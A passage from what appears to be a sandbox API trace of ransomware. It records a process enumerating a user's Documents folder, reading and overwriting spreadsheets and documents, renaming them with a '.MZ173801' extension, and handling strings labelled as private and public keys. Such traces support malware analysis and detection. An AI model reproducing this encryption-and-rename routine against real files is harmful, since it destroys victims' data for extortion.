dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0168.274] ReadFile (in: hFile=0x278, lpBuffer=0x24a0010, nNumberOfBytesToRead=0x131a3, lpNumberOfBytesRead=0x19fa18, lpOverlapped=0x0 | out: lpBuffer=0x24a0010*, lpNumberOfBytesRead=0x19fa18*=0x131a3, lpOverlapped=0x0) returned 1 [0168.276] CloseHandle (hObject=0x278) returned 1 [0168.278] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\lwhJgzvsl5XlQcrqU6.xlsx" (normalized: "c:\\users\\fd1hvy\\documents\\lwhjgzvsl5xlqcrqu6.xlsx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x278 [0168.279] WriteFile (in: hFile=0x278, lpBuffer=0x24b4040*, nNumberOfBytesToWrite=0x131a3, lpNumberOfBytesWritten=0x19fa24, lpOverlapped=0x0 | out: lpBuffer=0x24b4040*, lpNumberOfBytesWritten=0x19fa24*=0x131a3, lpOverlapped=0x0) returned 1 [0168.282] CloseHandle (hObject=0x278) returned 1 [0168.286] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Documents\\lwhJgzvsl5XlQcrqU6.xlsx" (normalized: "c:\\users\\fd1hvy\\documents\\lwhjgzvsl5xlqcrqu6.xlsx"), lpNewFileName="C:\\Users\\FD1HVy\\Documents\\lwhJgzvsl5XlQcrqU6.xlsx.MZ173801" (normalized: "c:\\users\\fd1hvy\\documents\\lwhjgzvsl5xlqcrqu6.xlsx.mz173801")) returned 1 [0168.287] GetCurrentThreadId () returned 0xab4 [0168.287] GetCurrentThreadId () returned 0xab4 [0168.287] GetCurrentThreadId () returned 0xab4 [0168.287] GetCurrentThreadId () returned 0xab4 [0168.287] GetCurrentThreadId () returned 0xab4 [0168.287] GetCurrentThreadId () returned 0xab4 [0168.287] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2bd70130, ftCreationTime.dwHighDateTime=0x1d59d6b, ftLastAccessTime.dwLowDateTime=0xe7ae06f0, ftLastAccessTime.dwHighDateTime=0x1d5d674, ftLastWriteTime.dwLowDateTime=0xe7ae06f0, ftLastWriteTime.dwHighDateTime=0x1d5d674, nFileSizeHigh=0x0, nFileSizeLow=0x1076d, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="m CS2FXbWa5.xlsx", cAlternateFileName="MCS2FX~1.XLS")) returned 1 [0168.288] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0168.288] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0168.288] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\m CS2FXbWa5.xlsx" (normalized: "c:\\users\\fd1hvy\\documents\\m cs2fxbwa5.xlsx"), fInfoLevelId=0x0, lpFileInformation=0x19fa58 | out: lpFileInformation=0x19fa58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2bd70130, ftCreationTime.dwHighDateTime=0x1d59d6b, ftLastAccessTime.dwLowDateTime=0xe7ae06f0, ftLastAccessTime.dwHighDateTime=0x1d5d674, ftLastWriteTime.dwLowDateTime=0xe7ae06f0, ftLastWriteTime.dwHighDateTime=0x1d5d674, nFileSizeHigh=0x0, nFileSizeLow=0x1076d)) returned 1 [0168.288] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\m CS2FXbWa5.xlsx" (normalized: "c:\\users\\fd1hvy\\documents\\m cs2fxbwa5.xlsx")) returned 0x20 [0168.288] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\m CS2FXbWa5.xlsx", dwFileAttributes=0x80) returned 1 [0168.290] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPRIVATEwr7DlTDCocONwrgtOQPCn8OPw6BVOcK1w7jDl8OHWMKdPcOkBMKlwoXDtRU4w70Ew4FzOMOcwpwrS01QOGgeUMKfw4vDqcKPw43DtMOYwqFNwr0nRcOBV8Knwp9vVMOSwojCnsOiXcKhcsKtwo7CjUBaXcKcPWvCuAU4w7XCtMOfO8KIwqJEwobDkn/DtBzCicKaDGbCp8OfKzUxw55PwrM5KjjDncKcNGXCuMKFw7fDmcK4IltIw5fCnDk6w7xxwpdhw6kRLcO8w6jCiMOSAiYHwoUywrLCl8KJBX7DgBXDni0GwphlwpPCkcO4wqHDvMKRPMOnwpFqJmcCQBJjw5fDphzCgHJywqwsXhfDnWgSWnFrXsKaDsKgwp3CsMO8OcOuw7HCvMOXHRLCthDCpkPDicKlWxFmQjzDq8O+RcOow7xsOTYxb2hswqzCoi9hw7DDqcOGERzCvXc5QsOXHMOCHjR6E8ONOsO4w540QDIUB3psM8KBEcKmFgJnw7XCvsO6wpHCmjczw57Cl8KTUcKaVEzDgsOFwpIBwoYyBi5sw7pRwpI/EV5Kwr5xw6U4wovDvBwjw5nDsMKDwpPCiD54YVBmHcO8woXDjTzDvyvCpMKew48Gwp5EwqvCoTYxcsOeZ8Oxw7XCl8Kiw7Mkw6xtEx7CisO/w5s6woTDt23DvHHDisORw4dKw6N5Yw4OWWnCoWtBFVADMVTDsxwyw6RcATQkwpw9wrlvRWomw7PCtVIdw6lyw5cJw5J4w5zCnTjDvDk6ZFnDrsO8FcOza8Ouw6lew4PDhsKqFcKaNsKJw7x5NhJRFm8Jwq5rwolmwpLDgSbCqyTDjcKIVMKjYnjCisOEFgsVN3o5w5A5BsKUI8KKw68BK0HDtFZlw7xcwrgCYjx+w4/DhXEgMUQDDsK4C0Evw4fDkn7Ct8KsPMKdw7o4ATIew7jDscOBw4fCnWTCowXCtm15E8OZb8Otw5d4UX/DtMKRQMKOw4TDqE1qCwPCnH7DusObw4s7HnojcMKKNMOAwpfDgcKaOQtEa8KLw47ClWvChcOewrd6LsOPwqjCpsKYRMOhwp5kHGplO8KJMcKrwo7DncOcw7PDgcOEw54Ww51QC8KuDsOSN8O0w4bCmV/ChTxrw54rbzrDtMOfwpvDsXLCryZ/w7l6DsKILMKxf8KqwpnCqFZ/wqnCoGvDhTZ+OcKJccKmw57DjcOzY3pZw7vCsMKGwobCqGLDjX/CqsOvw5VAVMKFXgHDpsKkM8K+ZDggE8KSw53Cm8OgwqLCoXlNfzlhQMOyN8ODw7DDnsKGUHx4GsKPw6lqVcKkwok/QAzCscOVWcK7b2jCoGEcZXJywqLCgMOKw6EVw4cSwp5Uw5/Dj8Kodjo0wonDq8KkHWbDnsKmCSbDg8O9woHDrsOoFl3DmcOqw6fDicK0w609w4dVwq1/w4HCrsKSc8OGwoTCrsKoBWcrQ8K5HTTDrsO4w6nCugc5wrjCpMKTL8KUMzrDh8K4fsOOw48iwqHDgU9qwoHDj0A9wr9CfsK0JnbDn8OjPWjDqcOnQhDDi8KOOcKeeXpjQMOCasK+w4bDg8O4wog/wqzCq3/DtQdxwoJyw7cvMcONw6JrXcK3w5VcwrHCkcKIBsKcUMOuwo7DjQfCnlU5YsO+wotHw6R1w4PDlMOuTcKSb8OdRE3DksOFw7zCsCjDusKaSHnDm8KcwpFvIw7DlcKQw4DDqsKdE8KXw4t+RMOXwo9Aw7jCuWbDucOXwqLDmcOfT8K3w4Jow6AyDsKuPcK4X3/DokdWPTbCt8O3w4HDh8Kiw502WcOXIMO8woLDsRLCpnplwrtew7zChsO0ekTDh8Khwq56cgvDnCbCvcK9WcOdNMKXw7nDj8KwAWYVw4bDuTnCnMKwwopew7cyMw9iwofCncOLw48awotFwrYvwoDCvcOxJsK7w7wwwoTCocOYJRVLw4/CnjPCl8OrwpE4w7xkwoLCg8KGw4HDqDMcwrVFTcO2en/DsMONw5dmZDokbEzCq8KFwqjDrcOXccOHwpVzw5/DvsKDBDE7VAZlw7ArZ8KGccOww6cPwrDDr8OfwozCtnHCl8KXwrjCuMK0w7XDsWHDrjLDmHptw546D1fDnUxQb8KlwqnDjcK2w43CrcOJGCPDoHrCuD3DtAfCtWbDoDPDr8K6YUghR8OBwq8tIBQVw68kwrrClwbDozLDn8OFwpMLw5HCucOFK8O6wp7CqsOfwrbDvMKFBsOCwofCsX7Dt0DChRTDs8KlIsOAw40yYlsWw4E6w5LCpxrDjT7CkMK4JsOGw7DCnB0yCWIeQcKxGlLCucOCwpHCt1DDtcOvwrhxcFjDs8OzM8Omwo3CncOUesOfw7B8ZlDDgjLCm3HCgsK3C1Yw", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0168.290] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x321061c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0168.292] GetCurrentThreadId () returned 0xab4 [0168.292] GetCurrentThreadId () returned 0xab4 [0168.292] GetCurrentThreadId () returned 0xab4 [0168.292] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0168.292] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x322167c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0168.293] GetCurrentThreadId () returned 0xab4 [0168.293] GetCurrentThreadId () returned 0xab4 [0168.293] GetCurrentThreadId () returned 0xab4 [0168.293] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\m CS2FXbWa5.xlsx" (normalized: "c:\\users\\fd1hvy\\documents\\m cs2fxbwa5.xlsx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x278 [0168.293] SetFilePointer (in: hFile=0x278, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa0c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa0c*=0) returned 0x0 [0168.293] SetFilePointer (in: hFile=0x278, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0168.293] SetFilePointer (in: hFile=0x278, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x1076d [0168.293] SetFilePointer (in: hFile=0x278, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0168.293] ReadFile (in: hFile=0x278, lpBuffer=0x24a0010, nNumberOfBytesToRead=0x1076d, lpNumberOfBytesRead=0x19fa18, lpOverlapped=0x0 | out: lpBuffer=0x24a0010*, lpNumberOfBytesRead=0x19fa18*=0x1076d, lpOverlapped=0x0) returned 1 [0168.295] CloseHandle (hObject=0x278) returned 1 [0168.296] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\m CS2FXbWa5.xlsx" (normalized: "c:\\users\\fd1hvy\\documents\\m cs2fxbwa5.xlsx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x278 [0168.562] WriteFile (in: hFile=0x278, lpBuffer=0x24b2040*, nNumberOfBytesToWrite=0x1076d, lpNumberOfBytesWritten=0x19fa24, lpOverlapped=0x0 | out: lpBuffer=0x24b2040*, lpNumberOfBytesWritten=0x19fa24*=0x1076d, lpOverlapped=0x0) returned 1 [0168.564] CloseHandle (hObject=0x278) returned 1 [0168.567] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Documents\\m CS2FXbWa5.xlsx" (normalized: "c:\\users\\fd1hvy\\documents\\m cs2fxbwa5.xlsx"), lpNewFileName="C:\\Users\\FD1HVy\\Documents\\m CS2FXbWa5.xlsx.MZ173801" (normalized: "c:\\users\\fd1hvy\\documents\\m cs2fxbwa5.xlsx.mz173801")) returned 1 [0168.568] GetCurrentThreadId () returned 0xab4 [0168.568] GetCurrentThreadId () returned 0xab4 [0168.568] GetCurrentThreadId () returned 0xab4 [0168.568] GetCurrentThreadId () returned 0xab4 [0168.568] GetCurrentThreadId () returned 0xab4 [0168.568] GetCurrentThreadId () returned 0xab4 [0168.568] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x211de47b, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x211de47b, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x211de47b, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Music", cAlternateFileName="MYMUSI~1")) returned 1 [0168.568] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x211de47b, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x211de47b, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x211de47b, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Pictures", cAlternateFileName="MYPICT~1")) returned 1 [0168.568] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xc1a0f60e, ftCreationTime.dwHighDateTime=0x1d47c35, ftLastAccessTime.dwLowDateTime=0xc1bc4716, ftLastAccessTime.dwHighDateTime=0x1d47c35, ftLastWriteTime.dwLowDateTime=0xc1bc4716, ftLastWriteTime.dwHighDateTime=0x1d47c35, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Shapes", cAlternateFileName="MYSHAP~1")) returned 1 [0168.568] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x211de47b, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x211de47b, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x211de47b, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Videos", cAlternateFileName="MYVIDE~1")) returned 1 [0168.569] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9315ee60, ftCreationTime.dwHighDateTime=0x1d564f9, ftLastAccessTime.dwLowDateTime=0xf84f3330, ftLastAccessTime.dwHighDateTime=0x1d5a4ba, ftLastWriteTime.dwLowDateTime=0xf84f3330, ftLastWriteTime.dwHighDateTime=0x1d5a4ba, nFileSizeHigh=0x0, nFileSizeLow=0x12df, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="m_JbGT.docx", cAlternateFileName="M_JBGT~1.DOC")) returned 1 [0168.569] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0168.569] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0168.569] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\m_JbGT.docx" (normalized: 